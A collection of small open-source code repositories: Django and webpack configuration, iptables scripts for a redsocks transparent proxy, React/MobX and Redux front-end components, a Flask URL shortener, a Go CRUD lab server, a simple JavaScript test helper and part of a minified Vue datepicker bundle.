'DEFAULT': { 'CACHE': not DEBUG, 'BUNDLE_DIR_NAME': 'bundles/', 'STATS_FILE': os.path.join( BASE_DIR, 'webpack-stats{}.json'.format('-prod' if not DEBUG else '') ), } } DEFAULT_FROM_EMAIL = 'zen.dominik@gmail.com' LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'handlers': { 'mail_admins': { 'class': 'django.utils.log.AdminEmailHandler', 'level': 'ERROR', }, 'logfile': { 'class': 'logging.handlers.WatchedFileHandler', 'filename': os.path.join(BASE_DIR, 'error.log') }, }, 'loggers': { 'django': { 'handlers': ['logfile'], 'level': 'ERROR', 'propagate': False, }, }, } ``` pages.js ```import '../sass/pages.sass' ``` zenofewords_tags.py ```from django import template register = template.Library() @register.inclusion_tag('zenofewords/tags/external_link_tag.html') def external_link_tag(url, title, terminator=''): return { 'url': url, 'title': title, 'terminator': terminator, } @register.inclusion_tag('zenofewords/tags/mobile_menu_link_tag.html') def mobile_menu_link_tag(name, path): return { 'name': name, 'current': name in path or name == 'home' and '/' == path, } @register.inclusion_tag('zenofewords/tags/jump_to_link_tag.html') def jump_to_link_tag(css_class, aria_label, url='#top'): return { 'css_class': css_class, 'aria_label': aria_label, 'url': url, } @register.inclusion_tag('zenofewords/tags/content_block_tag.html') def content_block_tag(): return {} ``` webpack.prod.js ```const path = require('path') const { CleanWebpackPlugin } = require('clean-webpack-plugin') const MiniCssExtractPlugin = require('mini-css-extract-plugin') const WebpackBundleTracker = require('webpack-bundle-tracker') module.exports = { mode: 'production', entry: { base: './static/javascript/base', pages: './static/javascript/pages', home: './static/javascript/home', queries: './static/javascript/queries', }, output: { filename: '[name]_[contenthash].js', path: path.resolve(__dirname, 'staticfiles/bundles'), publicPath: '', }, module: { rules: [ { test: /\.js$/, exclude: /node_modules/, use: { loader: 'babel-loader', options: { presets: ['@babel/preset-env'], } }, }, { test: /\.(sa|sc|c)ss$/, use: [ MiniCssExtractPlugin.loader, 'css-loader', 'sass-loader', ] }, { test: /\.(woff(2)?)$/, use: [ { loader: 'file-loader', options: { name: '[name].[ext]', outputPath: 'fonts/' } } ] }, ] }, plugins: [ new WebpackBundleTracker({ filename: './webpack-stats-prod.json', }), new MiniCssExtractPlugin({ filename: '[name]_[contenthash].css', }), new CleanWebpackPlugin(), ], } ``` home.js ```import '../sass/home.sass' ``` apps.py ```from django.apps import AppConfig class ZenofewordsConfig(AppConfig): name = 'zenofewords' ``` queries.js ```import '../sass/queries.sass' ``` urls.py ```from django.contrib import admin from django.urls import path from zenofewords.views import ( ContactView, HomeView, BioView, WorkView, ThoughtsView, ) urlpatterns = [ path('admin/', admin.site.urls), path('contact/', ContactView.as_view(), name='contact'), path('bio/', BioView.as_view(), name='bio'), path('work/', WorkView.as_view(), name='work'), path('thoughts/', ThoughtsView.as_view(), name='thoughts'), path('', HomeView.as_view(), name='home'), ] ``` base.js ```import '../sass/base.sass' ```
zenozeng/socks-scripts
zenozeng/socks-scripts README.md ```# Socks Scripts ## Requirements - iptables - iproute - redsocks - ssh ``` start.sh ```# 先清空旧的 ./stop.sh # 重建链 iptables -t nat -N REDSOCKS # 内网 iptables -t nat -A REDSOCKS -d 0.0.0.0/8 -j RETURN iptables -t nat -A REDSOCKS -d 10.0.0.0/8 -j RETURN iptables -t nat -A REDSOCKS -d 127.0.0.0/8 -j RETURN iptables -t nat -A REDSOCKS -d 169.254.0.0/16 -j RETURN iptables -t nat -A REDSOCKS -d 172.16.0.0/12 -j RETURN iptables -t nat -A REDSOCKS -d 192.168.0.0/16 -j RETURN iptables -t nat -A REDSOCKS -d 224.0.0.0/4 -j RETURN iptables -t nat -A REDSOCKS -d 240.0.0.0/4 -j RETURN # Anything else should be redirected to port 12345 iptables -t nat -A REDSOCKS -p tcp -j REDIRECT --to-ports 12345 iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDSOCKS iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDSOCKS iptables -t nat -A OUTPUT -p tcp --dport 22 -j REDSOCKS ``` stop_80_443.sh ```iptables -t nat -F OUTPUT ``` start_80_443.sh ```iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to 12345 iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to 12345 ``` stop.sh ```iptables -t nat -D OUTPUT -p tcp --dport 80 -j REDSOCKS iptables -t nat -D OUTPUT -p tcp --dport 443 -j REDSOCKS iptables -t nat -D OUTPUT -p tcp --dport 22 -j REDSOCKS iptables -t nat -F REDSOCKS iptables -t nat -X REDSOCKS # 删除之前要清空所有引用 ```
zenril/parzen-editor
zenril/parzen-editor Card.js ```import { observable, computed, action, asMap } from 'mobx'; class Card { @observable normal = []; @observable multiple = []; constructor(props) { this.name = props.name || ""; this.locked = props.locked || false; this.quantitive = props.quantitive || false; } }``` CardListView.jsx ```import React from 'react' import ReactDOM from 'react-dom' import {observer} from 'mobx-react'; @observer class CardListView extends React.Component { render() { const store = this.props.store; return ( <div>{ store.cards.map ( (card, idx) => <div class='card'><CardView card={ card } key={ idx } /></div> ) }</div> ); } } ReactDOM.render(<CardListView store={observableCardStore} />, document.getElementById('cards'));``` CardView.jsx ```import React from 'react' import ReactDOM from 'react-dom' import {observer} from 'mobx-react'; @observer class CardView extends React.Component { render() { const card = this.props.card; return <div> {card.name} </div> } } ``` CardStore.js ```import { observable, computed, action, asMap } from 'mobx'; class CardStore { @observable cards = []; addCard (card){ cards.push( (!card ? new Card() : card) ); } } const observableCardStore = new CardStore(); ``` main.js ```import CardStore from './models/CardStore.js'; import Card from './models/Card.js'; import CardListView from './components/CardListView.jsx'; import CardView from './components/CardView.jsx'; ```
zentomic-react/react-search-filter
zentomic-react/react-search-filter ActiveFilterGroup.js ```import React, { PropTypes } from 'react' import ActiveFilter from '../ActiveFilter/ActiveFilter' const ActiveFilterGroup = ({ id, name, options, onRemoveFilterClick, onClearGroupClick }) => ( <div> { name } : { options.map(options => <ActiveFilter label={options.label} onRemoveCick={() => onRemoveFilterClick} />) } <a onclick={onClearGroupClick}>Close Group</a> <style jsx> {` div { width: 380px; margin: 15px; padding: 20px; border-style: solid; border-width: 1px; border-radius: 15px; border-color: blue; } a { margin-left: 15px; font-size : small; } `}</style> </div> ) export default ActiveFilterGroup``` README.md ``` To open project, clone repo and run these commands: npm install npm run dev ``` CheckboxList.js ```import React from 'react'; import { connect } from 'react-redux' import { addFilter } from '../actionCreators' // import App from '../src/containers/App'; let CheckboxList = ({ actions, filters, dispatch }) => { return ( <div></div> /*<div> <ul> <input type='checkbox' name='filter1' onclick={ actions.addFilter() } />Samsung<br /> <input type='checkbox' name='filter2' onclick={ } />LG<br /> <input type='checkbox' name='filter3' onclick={ } />Apple<br /> </ul> </div>*/ ) } export default CheckboxList ``` ActiveFilter.js ```import React, { PropTypes } from 'react' const ActiveFilter = ({ label, onRemoveCick }) => ( <div> { label } <a onlick={onRemoveCick}>close</a> <style jsx>{` div { display: inline; width: 200px; margin: 5px; padding: 10px; border-style: solid; border-width: 1px; border-radius: 15px; border-color: red; } a { margin-left: 15px; font-size : small; } `}</style> </div> ) //ActiveFilter.propTypes = { // label: PropTypes.string.isRequired, // onRemoveCick: PropTypes.func.isRequired //} export default ActiveFilter``` actionCreators.js ```import * as types from './actionTypes'; export function selectField(field) { return {type: types.SELECT_FIELD, field}; } export function unselectField(field) { return {type: types.UNSELECT_FIELD, field}; } export function addFilter() { return {type: types.ADD_FILTER}; } export function removeFilter(filterId) { return {type: types.REMOVE_FILTER, filterId}; } export function clearFilters() { return {type: types.CLEAR_FILTERS}; }``` index.js ```import React from 'react' import {Provider} from 'react-redux'; import styled from 'styled-components' import CheckboxList from '../src/components/CheckboxList' import App from '../src/containers/App' import store from '../src/containers/store'; class testFilter extends React.Component { render () { return ( <Provider store={store}> <div> <App /> </div> </Provider> ) } } export default testFilter //import React from 'react'; //import {render} from 'react-dom'; //import {Provider} from 'react-redux'; //import App from '../src/containers/App'; //import DevTools from './containers/DevTools'; //import store from '../src/containers/store'; //render( // <Provider store={store}> // <div> // <App /> // // </div> // </Provider>, // document.getElementById('root') //);``` App.js ```import React, {Component} from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import FieldsSelector from './../components/FieldsSelector'; import * as actionCreators from '../actionCreators'; class App extends Component { render() { const {selectedFields, availableFields, actions} = this.props; return ( <div> <FieldsSelector available={availableFields} selected={selectedFields} onSelect={actions.selectField} onUnselect={actions.unselectField} /> </div> ); } } function mapStateToProps(state) { return { selectedFields: state.get('selectedFields'), availableFields: state.get('availableFields') }; } function mapDispatchToProps(dispatch) { return {actions: bindActionCreators(actionCreators, dispatch)}; } export default connect(mapStateToProps, mapDispatchToProps)(App); ``` fields.js ```import StringWidget from '../components/StringWidget'; export const name = {name: 'abcd', displayName: 'lkdfsg', widget: StringWidget};``` StringWidget.js ```import DefaultWidget from './DefaultWidget'; import * as operators from '../containers/operators'; class StringWidget extends DefaultWidget { getOperators() { return { [operators.CONTAINS]: 'contains', [operators.DOES_NOT_CONTAIN]: 'doesn\'t contains', [operators.EQUALS]: 'is', [operators.NOT_EQUALS]: 'is not' }; } } StringWidget.defaultOperator = operators.CONTAINS; StringWidget.defaultValue = ''; export default StringWidget; ```
zeopix/ManyFew
zeopix/ManyFew readme.md ```This is many-few.com website```
zepellin/url-shortener
zepellin/url-shortener Readme.md ```# URL shortener This service implements an endpoint for generating shortened links. Following endpoints are supported: Generate site identifier identifying provided URL: ```bash $ curl -XPOST "localhost:5001/api/v1/shorten/https://gooogle.com?format=json" {"status": "OK", "request_url": "https://gooogle.com", "identifier": 1204225829} ``` Retrieving URL from provided identifier: ```bash $ curl "localhost:5001/api/v1/lookup/1204225829?format=json" {"status": "OK", "request_url": "https://gooogle.com", "identifier": "1204225829"} ``` Performing HTTP redirect when identifier is supplied in apps base path: ```bash url "localhost:5001/1204225829" -v .. < HTTP/1.0 302 FOUND < Content-Type: text/html; charset=utf-8 < Location: https://gooogle.com ... ``` # Achitectural choices * Given time constraints, an in memory python dictionary object is used to store mapping of URLs to generated identifiers * Lookup and shorten endpoint can be provided with optional ?format=<json|xml> query parameter which them generates json or XML output. Json is default in cases when no format parameter is supplied or format != <json|xml> * Please refer to comments in main app.py file, it contains more insight into app's functionality # Build and deploy The application is intended to run in a docker container. To build: ```bash docker build --tag url-shortener . ``` The application is then run exposing an example port 5001 as it's API endpoint: ```bash docker run --publish 5001:5001 url-shortener ``` ``` app.py ```import flask import zlib import json from dict2xml import dict2xml app = flask.Flask(__name__) app.config["DEBUG"] = False # Defining class for storing URL to identifier mapping class URLMapping: def __init__(self): self.urls = {} def add_record(self, url): indentifier = zlib.adler32(url.encode('UTF-8')) if indentifier not in self.urls: self.urls[str(indentifier)] = url return(indentifier) def retrieve_url(self, indentifier): if(str(indentifier) in self.urls): return(self.urls[indentifier]) else: return(None) def get_keys(self): records = [] for record in self: records.append(record) return(records) # Initiate instance of a URLMapping class that will serve as our database db = URLMapping() # @app.before_first_request # def create_db(): # db = URLMapping() @app.route('/api/v1/shorten/<path:url>', methods=['POST']) def return_identifier(url): # Save identifier and corresponding URL in a "database" class db.add_record(url) # Create a response dict containing response data sent back to the client response_data = { "status": "OK", "request_url": url, "identifier": zlib.adler32(url.encode('UTF-8')) } # Produce response object with given schema supplied using URL parameters response = flask.Response() response.status_code = 200 # Format and create response response = format_reponse(flask.request, response_data, response) # Send response to client return(response) @app.route('/api/v1/lookup/<identifier>', methods=['GET']) def return_url(identifier): url = db.retrieve_url(identifier) # Produce response object with given schema supplied using URL parameters response = flask.Response() response.status_code = 200 if url is not None else 404 # Generate 302 code to facilitate browser redirects # Create a response dict containing response data sent back to the client response_data = { "status": "OK" if url is not None else "Not Found", "request_url": url if url is not None else "N/A", "identifier": str(identifier) } # Format and create response response = format_reponse(flask.request, response_data, response) # Send response to client return(response) # Facilitate redirect to URL when <domain>/<identifier> request is received @app.route('/<identifier>', methods=['GET']) def redirect_url(identifier): url = db.retrieve_url(identifier) # Produce response object with given schema supplied using URL parameters response = flask.Response() if(url is not None): response.status_code = 302 response.headers["Location"] = url else: response.status_code = 404 # Send response to client return(response) # Function to format response according to optional format url query parameter def format_reponse(request, response_data, resp): if ('format') in flask.request.args: # If format query parameter is xml if(flask.request.args['format'] == 'xml'): resp.data = dict2xml(response_data) resp.mimetype = "application/xml" resp.headers["Content-Type"] = "text/xml; charset=utf-8" # Default to json for all other format parameters else: resp.data = json.dumps(response_data) resp.mimetype = "application/json" resp.headers["Content-Type"] = "application/json; charset=utf-8" # If no query parameter is specified else: resp.data = json.dumps(response_data) resp.mimetype = "application/json" resp.headers["Content-Type"] = "application/json; charset=utf-8" return(resp) app.run() ```
zephan-spencer/cloud-arch-labs
zephan-spencer/cloud-arch-labs webserver.go ```package main import ( "fmt" "log" "net/http" "strconv" "sync" ) func main() { db := database{data: map[string]dollars{"shoes": 50, "socks": 5}} http.HandleFunc("/create", db.create) http.HandleFunc("/read", db.read) http.HandleFunc("/update", db.update) http.HandleFunc("/delete", db.delete) log.Fatal(http.ListenAndServe("localhost:8000", nil)) } type dollars float32 func (d dollars) String() string { return fmt.Sprintf("$%.2f", d) } type database struct { data map[string]dollars sync.RWMutex } func (db database) create(w http.ResponseWriter, req *http.Request) { item := req.URL.Query() name := item.Get("name") price, err := strconv.ParseFloat(item.Get("price"), 32) if err != nil { fmt.Fprintln(w, "Price provided is invalid, item will not be created") return } db.Lock() db.data[name] = dollars(price) db.Unlock() } func (db database) read(w http.ResponseWriter, req *http.Request) { item := req.URL.Query().Get("item") if price, ok := db.data[item]; ok { fmt.Fprintf(w, "%s\n", price) } else { w.WriteHeader(http.StatusNotFound) // 404 fmt.Fprintf(w, "no such item: %q\n", item) } } func (db database) update(w http.ResponseWriter, req *http.Request) { item := req.URL.Query() name := item.Get("name") price, err := strconv.ParseFloat(item.Get("price"), 32) if err != nil { fmt.Fprintln(w, "Price provided is invalid, item will not be updated") return } if _, ok := db.data[name]; ok { db.Lock() db.data[name] = dollars(price) db.Unlock() } else { w.WriteHeader(http.StatusNotFound) // 404 fmt.Fprintf(w, "no such item: %q\n", name) } } func (db database) delete(w http.ResponseWriter, req *http.Request) { item := req.URL.Query().Get("item") if price, ok := db.data[item]; ok { fmt.Fprintf(w, "%s\n", price) } else { w.WriteHeader(http.StatusNotFound) // 404 fmt.Fprintf(w, "no such item: %q\n", item) } } ``` README.md ```# cloud-arch-labs```
zepherine2006DEV/js-testing-functions
zepherine2006DEV/js-testing-functions README.md ```# Writing Tests Without a Standard Testing Library ## Background One of the challenges set at Makers Academy is to test drive (TDD) a simple javascript app without using an external test framework. This project has a set of functions which I've created to do this. ## How to Install * Include assert.js as a script tag. * Include describe.js as a script tag. * Include mock.js as a script tag. * Copy or rename the sample-tests.js to reference your tests. ## How to Use * Follow the structure in sample-tests.js to reference your tests. * Go to the index.html page and view the console output. * To use the mocking functions, first create a double then add methods to it, passing in an annonymous function which becomes the method. ```javascript var myDouble = mock.makeDouble("My Mock Object"); mock.addMethod(myDouble, "myMethod", function(){return "A Returned String"}); ``` ## Testing The individual functions were unit tested in a browser javascript console. ```console > assertEqual(2,2); <= Pass ``` A sample test suite file (sample-tests.js) is also included in the project, acting like a feature test. This can be run in the console by running the testSuite function within the file. ## User Stories As a developer, So that I can check the behaviour of my code, I want to assert that specific things are true. As a developer, So that I can create a library of tests, I want a way to describe what a test or group of tests is doing. As a developer, So that I can work efficiently, I want a way to run lots of tests. ## Notes on Approach and Design I've tried to think outside-in about this problem. For example, I have considered how the suite of tests might be run, before the individual elements. ``` sample-tests.js ```var testSuite = function() { console.log("SAMPLE TEST SUITE"); describe("Number", function() { it("should be equal when 3 is compared with 3", function() { assert.equal(3,3); }); it("should be not equal when 3 is compared with 4", function() { assert.equal(3,4); }); }); } testSuite();```
zephyrpersonal/vue-date
zephyrpersonal/vue-date index.js ```!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.datepicker=e():t.datepicker=e()}(this,function(){return function(t){function e(r){if(n[r])return n[r].exports;var i=n[r]={exports:{},id:r,loaded:!1};return t[r].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var n={};return e.m=t,e.c=n,e.p="",e(0)}([function(t,e,n){var r,i,a={};n(59),r=n(27),i=n(57),t.exports=r||{},t.exports.__esModule&&(t.exports=t.exports.default);var o="function"==typeof t.exports?t.exports.options||(t.exports.options={}):t.exports;i&&(o.template=i),o.computed||(o.computed={}),Object.keys(a).forEach(function(t){var e=a[t];o.computed[t]=function(){return e}})},function(t,e,n){var r=n(22)("wks"),i=n(26),a=n(2).Symbol,o="function"==typeof a,s=t.exports=function(t){return r[t]||(r[t]=o&&a[t]||(o?a:i)("Symbol."+t))};s.store=r},function(t,e){var n=t.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=n)},function(t,e,n){var r=n(10);t.exports=function(t){if(!r(t))throw TypeError(t+" is not an object!");return t}},function(t,e,n){t.exports=!n(20)(function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a})},function(t,e){var n={}.hasOwnProperty;t.exports=function(t,e){return n.call(t,e)}},function(t,e,n){var r=n(7),i=n(12);t.exports=n(4)?function(t,e,n){return r.f(t,e,i(1,n))}:function(t,e,n){return t[e]=n,t}},function(t,e,n){var r=n(3),i=n(35),a=n(51),o=Object.defineProperty;e.f=n(4)?Object.defineProperty:function(t,e,n){if(r(t),e=a(e,!0),r(n),i)try{return o(t,e,n)}catch(t){}if("get"in n||"set"in n)throw TypeError("Accessors not supported!");return"value"in n&&(t[e]=n.value),t}},function(t,e){var n=t.exports={version:"2.4.0"};"number"==typeof __e&&(__e=n)},function(t,e){t.exports=function(t){if(void 0==t)throw TypeError("Can't call method on "+t);return t}},function(t,e){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}},function(t,e){t.exports={}},function(t,e){t.exports=function(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}},function(t,e,n){var r=n(22)("keys"),i=n(26);t.exports=function(t){return r[t]||(r[t]=i(t))}},function(t,e){var n=Math.ceil,r=Math.floor;t.exports=function(t){return isNaN(t=+t)?0:(t>0?r:n)(t)}},function(t,e){var n={}.toString;t.exports=function(t){return n.call(t).slice(8,-1)}},function(t,e,n){var r=n(30);t.exports=function(t,e,n){if(r(t),void 0===e)return t;switch(n){case 1:return function(n){return t.call(e,n)};case 2:return function(n,r){return t.call(e,n,r)};case 3:return function(n,r,i){return t.call(e,n,r,i)}}return function(){return t.apply(e,arguments)}}},function(t,e,n){var r=n(10),i=n(2).document,a=r(i)&&r(i.createElement);t.exports=function(t){return a?i.createElement(t):{}}},function(t,e){t.exports="constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",")},function(t,e,n){var r=n(2),i=n(8),a=n(16),o=n(6),s="prototype",c=function(t,e,n){var l,u,f,p=t&c.F,h=t&c.G,d=t&c.S,m=t&c.P,v=t&c.B,x=t&c.W,g=h?i:i[e]||(i[e]={}),y=g[s],b=h?r:d?r[e]:(r[e]||{})[s];h&&(n=e);for(l in n)u=!p&&b&&void 0!==b[l],u&&l in g||(f=u?b[l]:n[l],g[l]=h&&"function"!=typeof b[l]?n[l]:v&&u?a(f,r):x&&b[l]==f?function(t){var e=function(e,n,r){if(this instanceof t){switch(arguments.length){case 0:return new t;case 1:return new t(e);case 2:return new t(e,n)}return new t(e,n,r)}return t.apply(this,arguments)};return e[s]=t[s],e}(f):m&&"function"==typeof f?a(Function.call,f):f,m&&((g.virtual||(g.virtual={}))[l]=f,t&c.R&&y&&!y[l]&&o(y,l,f)))};c.F=1,c.G=2,c.S=4,c.P=8,c.B=16,c.W=32,c.U=64,c.R=128,t.exports=c},function(t,e){t.exports=function(t){try{return!!t()}catch(t){return!0}}},function(t,e,n){var r=n(7).f,i=n(5),a=n(1)("toStringTag");t.exports=function(t,e,n){t&&!i(t=n?t:t.prototype,a)&&r(t,a,{configurable:!0,value:e})}},function(t,e,n){var r=n(2),i="__core-js_shared__",a=r[i]||(r[i]={});t.exports=function(t){return a[t]||(a[t]={})}},function(t,e,n){var r=n(36),i=n(9);t.exports=function(t){return r(i(t))}},function(t,e,n){var r=n(14),i=Math.min;t.exports=function(t){return t>0?i(r(t),9007199254740991):0}},function(t,e,n){var r=n(9);t.exports=function(t){return Object(r(t))}},function(t,e){var n=0,r=Math.random();t.exports=function(t){return"Symbol(".concat(void 0===t?"":t,")_",(++n+r).toString(36))}},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}Object.defineProperty(e,"__esModule",{value:!0});var i=n(28),a=r(i);e.default={data:function(){var t=new Date;return{panelState:!1,panelType:"date",coordinates:{},year:t.getFullYear(),month:t.getMonth(),date:t.getDate(),tmpYear:t.getFullYear(),tmpMonth:t.getMonth(),tmpStartYear:t.getFullYear(),tmpStartMonth:t.getMonth(),tmpStartDate:t.getDate(),tmpEndYear:t.getFullYear(),tmpEndMonth:t.getMonth(),tmpEndDate:t.getDate(),minYear:Number,minMonth:Number,minDate:Number,maxYear:Number,maxMonth:Number,maxDate:Number,yearList:(0,a.default)({length:12},function(t,e){return(new Date).getFullYear()+e}),monthList:[1,2,3,4,5,6,7,8,9,10,11,12],weekList:[0,1,2,3,4,5,6],rangeStart:!1}},props:{language:{default:"en"},min:{default:"1970-01-01"},max:{default:"3016-01-01"},value:{type:[String,Array],default:""},range:{type:Boolean,default:!1}},methods:{togglePanel:function(){this.panelState=!this.panelState,this.rangeStart=!1},isSelected:function(t,e){switch(t){case"year":return this.range?new Date(e,0).getTime()>=new Date(this.tmpStartYear,0).getTime()&&new Date(e,0).getTime()<=new Date(this.tmpEndYear,0).getTime():e===this.tmpYear;case"month":return this.range?new Date(this.tmpYear,e).getTime()>=new Date(this.tmpStartYear,this.tmpStartMonth).getTime()&&new Date(this.tmpYear,e).getTime()<=new Date(this.tmpEndYear,this.tmpEndMonth).getTime():e===this.tmpMonth&&this.year===this.tmpYear;case"date":if(!this.range)return this.date===e.value&&this.month===this.tmpMonth&&e.currentMonth;var n=this.tmpMonth;return e.previousMonth&&n--,e.nextMonth&&n++,new Date(this.tmpYear,n,e.value).getTime()>=new Date(this.tmpStartYear,this.tmpStartMonth,this.tmpStartDate).getTime()&&new Date(this.tmpYear,n,e.value).getTime()<=new Date(this.tmpEndYear,this.tmpEndMonth,this.tmpEndDate).getTime()}},chType:function(t){this.panelType=t},chYearRange:function(t){t?this.yearList=this.yearList.map(function(t){return t+12}):this.yearList=this.yearList.map(function(t){return t-12})},prevMonthPreview:function(){this.tmpMonth=0===this.tmpMonth?0:this.tmpMonth-1},nextMonthPreview:function(){this.tmpMonth=11===this.tmpMonth?11:this.tmpMonth+1},selectYear:function(t){this.validateYear(t)||(this.tmpYear=t,this.panelType="month")},selectMonth:function(t){this.validateMonth(t)||(this.tmpMonth=t,this.panelType="date")},selectDate:function(t){var e=this;setTimeout(function(){if(!e.validateDate(t))if(t.previousMonth?0===e.tmpMonth?(e.year-=1,e.tmpYear-=1,e.month=e.tmpMonth=11):(e.month=e.tmpMonth-1,e.tmpMonth-=1):t.nextMonth&&(11===e.tmpMonth?(e.year+=1,e.tmpYear+=1,e.month=e.tmpMonth=0):(e.month=e.tmpMonth+1,e.tmpMonth+=1)),e.range){if(e.range&&!e.rangeStart)e.tmpEndYear=e.tmpStartYear=e.tmpYear,e.tmpEndMonth=e.tmpStartMonth=e.tmpMonth,e.tmpEndDate=e.tmpStartDate=t.value,e.rangeStart=!0;else if(e.range&&e.rangeStart){e.tmpEndYear=e.tmpYear,e.tmpEndMonth=e.tmpMonth,e.tmpEndDate=t.value;var n=new Date(e.tmpStartYear,e.tmpStartMonth,e.tmpStartDate).getTime(),r=new Date(e.tmpEndYear,e.tmpEndMonth,e.tmpEndDate).getTime();if(n>r){var i=void 0,a=void 0,o=void 0;i=e.tmpEndYear,a=e.tmpEndMonth,o=e.tmpEndDate,e.tmpEndYear=e.tmpStartYear,e.tmpEndMonth=e.tmpStartMonth,e.tmpEndDate=e.tmpStartDate,e.tmpStartYear=i,e.tmpStartMonth=a,e.tmpStartDate=o}var s=e.tmpStartYear+"-"+("0"+(e.tmpStartMonth+1)).slice(-2)+"-"+("0"+e.tmpStartDate).slice(-2),c=e.tmpEndYear+"-"+("0"+(e.tmpEndMonth+1)).slice(-2)+"-"+("0"+e.tmpEndDate).slice(-2),l=[s,c];e.$emit("input",l),e.rangeStart=!1,e.panelState=!1}}else{e.year=e.tmpYear,e.month=e.tmpMonth,e.date=t.value;var u=e.tmpYear+"-"+("0"+(e.month+1)).slice(-2)+"-"+("0"+e.date).slice(-2);e.$emit("input",u),e.panelState=!1}},0)},validateYear:function(t){return t>this.maxYear||t<this.minYear},validateMonth:function(t){return!(new Date(this.tmpYear,t).getTime()>=new Date(this.minYear,this.minMonth-1).getTime()&&new Date(this.tmpYear,t).getTime()<=new Date(this.maxYear,this.maxMonth-1).getTime())},validateDate:function(t){var e=this.tmpMonth;return t.previousMonth?e-=1:t.nextMonth&&(e+=1),!(new Date(this.tmpYear,e,t.value).getTime()>=new Date(this.minYear,this.minMonth-1,this.minDate).getTime()&&new Date(this.tmpYear,e,t.value).getTime()<=new Date(this.maxYear,this.maxMonth-1,this.maxDate).getTime())},close:function(t){this.$el.contains(t.target)||(this.panelState=!1,this.rangeStart=!1)}},watch:{min:function(t){var e=t.split("-");this.minYear=Number(e[0]),this.minMonth=Number(e[1]),this.minDate=Number(e[2])},max:function(t){var e=t.split("-");this.maxYear=Number(e[0]),this.maxMonth=Number(e[1]),this.maxDate=Number(e[2])}},computed:{dateList:function t(){for(var e=new Date(this.tmpYear,this.tmpMonth+1,0).getDate(),t=(0,a.default)({length:e},function(t,e){return{currentMonth:!0,value:e+1}}),n=new Date(this.year,this.tmpMonth,1).getDay(),r=new Date(this.year,this.tmpMonth,0).getDate(),i=0,o=n;i<o;i++)t=[{previousMonth:!0,value:r-i}].concat(t);for(var s=t.length,c=1;s<42;s++,c++)t[t.length]={nextMonth:!0,value:c};return t}},filters:{week:function(t,e){switch(e){case"en":return{0:"Su",1:"Mo",2:"Tu",3:"We",4:"Th",5:"Fr",6:"Sa"}[t];case"ch":return{0:"日",1:"一",2:"二",3:"三",4:"四",5:"五",6:"六"}[t];default:return t}},month:function(t,e){switch(e){case"en":return{1:"Jan",2:"Feb",3:"Mar",4:"Apr",5:"May",6:"Jun",7:"Jul",8:"Aug",9:"Sep",10:"Oct",11:"Nov",12:"Dec"}[t];case"ch":return{1:"一",2:"二",3:"三",4:"四",5:"五",6:"六",7:"七",8:"八",9:"九",10:"十",11:"十一",12:"十二"}[t];default:return t}}},mounted:function(){var t=this;this.$nextTick(function(){t.$el.parentNode.offsetWidth+t.$el.parentNode.offsetLeft-t.$el.offsetLeft<=300?t.coordinates={right:"0",top:window.getComputedStyle(t.$el.children[0]).offsetHeight+4+"px"}:t.coordinates={left:"0",top:window.getComputedStyle(t.$el.children[0]).offsetHeight+4+"px"};var e=t.min.split("-");t.minYear=Number(e[0]),t.minMonth=Number(e[1]),t.minDate=Number(e[2]);var n=t.max.split("-");if(t.maxYear=Number(n[0]),t.maxMonth=Number(n[1]),t.maxDate=Number(n[2]),t.range){if("Array"!==Object.prototype.toString.call(t.value).slice(8,-1))throw new Error("Binding value must be an array in range mode.");if(t.value.length){var r=t.value[0].split("-"),i=t.value[1].split("-");t.tmpStartYear=Number(r[0]),t.tmpStartMonth=Number(r[1])-1,t.tmpStartDate=Number(r[2]),t.tmpEndYear=Number(i[0]),t.tmpEndMonth=Number(i[1])-1,t.tmpEndDate=Number(i[2])}else t.$emit("input",["",""])}t.value||t.$emit("input",""),window.addEventListener("click",t.close)})},beforeDestroy:function(){window.removeEventListener("click",this.close)}}},function(t,e,n){t.exports={default:n(29),__esModule:!0}},function(t,e,n){n(54),n(53),t.exports=n(8).Array.from},function(t,e){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},function(t,e,n){var r=n(23),i=n(24),a=n(50);t.exports=function(t){return function(e,n,o){var s,c=r(e),l=i(c.length),u=a(o,l);if(t&&n!=n){for(;l>u;)if(s=c[u++],s!=s)return!0}else for(;l>u;u++)if((t||u in c)&&c[u]===n)return t||u||0;return!t&&-1}}},function(t,e,n){var r=n(15),i=n(1)("toStringTag"),a="Arguments"==r(function(){return arguments}()),o=function(t,e){try{return t[e]}catch(t){}};t.exports=function(t){var e,n,s;return void 0===t?"Undefined":null===t?"Null":"string"==typeof(n=o(e=Object(t),i))?n:a?r(e):"Object"==(s=r(e))&&"function"==typeof e.callee?"Arguments":s}},function(t,e,n){"use strict";var r=n(7),i=n(12);t.exports=function(t,e,n){e in t?r.f(t,e,i(0,n)):t[e]=n}},function(t,e,n){t.exports=n(2).document&&document.documentElement},function(t,e,n){t.exports=!n(4)&&!n(20)(function(){return 7!=Object.defineProperty(n(17)("div"),"a",{get:function(){return 7}}).a})},function(t,e,n){var r=n(15);t.exports=Object("z").propertyIsEnumerable(0)?Object:function(t){return"String"==r(t)?t.split(""):Object(t)}},function(t,e,n){var r=n(11),i=n(1)("iterator"),a=Array.prototype;t.exports=function(t){return void 0!==t&&(r.Array===t||a[i]===t)}},function(t,e,n){var r=n(3);t.exports=function(t,e,n,i){try{return i?e(r(n)[0],n[1]):e(n)}catch(e){var a=t.return;throw void 0!==a&&r(a.call(t)),e}}},function(t,e,n){"use strict";var r=n(43),i=n(12),a=n(21),o={};n(6)(o,n(1)("iterator"),function(){return 